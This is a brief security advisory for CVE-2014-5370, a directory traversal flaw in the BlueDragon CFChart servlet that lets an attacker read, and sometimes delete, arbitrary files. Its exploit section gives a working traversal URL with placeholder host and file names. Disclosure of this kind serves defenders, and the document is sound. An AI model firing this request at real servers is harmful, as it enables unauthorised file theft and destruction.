BlueDragon CFChart Servlet 7.1.1.17759 - Arbitrary File Retrieval/Deletion

Vulnerability title: Arbitrary File Retrieval + Deletion In New Atlanta BlueDragon CFChart Servlet
CVE: CVE-2014-5370
Vendor: New Atlanta
Product: BlueDragon CFChart Servlet
Affected version: 7.1.1.17759
Fixed version: 7.1.1.18527
Reported by: Mike Westmacott
Details:

The CFChart servlet of BlueDragon (component com.naryx.tagfusion.cfm.cfchartServlet) is vulnerable to arbitrary file retrieval due to a directory traversal vulnerability. In certain circumstances the retrieved file is also deleted.

Exploit:

In order to retrieve a file from a vulnerable server use the following URL in a web browser and intercept the response from the server:


http://TARGETHOST/cfchart.cfchart?..\..\..\..\..\..\..\..\..\..\TARGETFILE

The browser will display a broken image, however the HTTP response will contain the file’s contents.

Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-5370/

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